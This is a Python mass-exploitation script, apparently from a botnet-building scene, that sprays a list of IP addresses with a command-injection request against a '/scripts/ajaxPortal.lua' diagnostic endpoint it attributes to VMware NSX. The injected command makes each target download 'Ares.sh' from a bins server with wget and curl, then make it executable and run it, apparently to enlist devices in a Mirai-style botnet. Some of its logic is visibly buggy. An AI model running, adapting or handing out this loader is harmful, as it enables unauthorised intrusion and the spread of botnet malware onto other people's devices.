[VMWARE NSX EXPLOIT LOADER] [RCE] [MIRAI]

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# VMware NSX Exploit made by B4CKDOOR #
# B4CKDOORARCHIVE.HOST - https://discord.gg/MVktpTW #

import threading, random, socket, time, sys, requests, re, os
from threading import Thread
from time import sleep
import requests
from requests.auth import HTTPDigestAuth
from decimal import *

if len(sys.argv) < 3:
    print "\033[37mUsage: python "+sys.argv[0]+" <list> <port>\033[37m"
    sys.exit()

ip = "1.3.3.7" # BINS LOCATION IP
vulns = open(sys.argv[1], "r").readlines()
port = int(sys.argv[2]) # VMWARE PORTS

headers = "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: application/json, text/javascript, */*; q=0.01\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: https://www.vmware.com\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nCookie: culture=en-us"

class send_payload(threading.Thread):
    def __init__ (self, ip):
        threading.Thread.__init__(self)
        self.ip = str(ip).rstrip('\n')
    def run(self):
        try:
            url = "http://" + self.ip + ":"+port+"/scripts/ajaxPortal.lua?destination=8.8.8.8$(wget http://" + ip + "/Ares.sh; curl -O http://" + ip + "/Ares.sh; chmod +x Ares.sh; sh Ares.sh)&source=192.168.0.1&test=BASIC_PING&requestTimeout=90&auth_token=&_cmd=run_diagnostic&destination=8.8.8.8$(wget http://" + ip + "/Ares.sh; curl -O http://" + ip + "/Ares.sh; chmod +x Ares.sh; sh Ares.sh)&test=DNS_TEST&requestTimeout=90&auth_token=&_cmd=run_diagnostic"
            requests.post(url, headers=headers, timeout=3)
            print "[VmWARE] Loading: %s"%(self.ip)
        except:
            pass

for IP in vulns:
    try:
        ip = "".join(IP)
        ip = ip.replace("\n", "")
        t = send_payload(ip)
        t.start()
        time.sleep(0.03)
    except:
        pass #CODED BY B4CKDOOR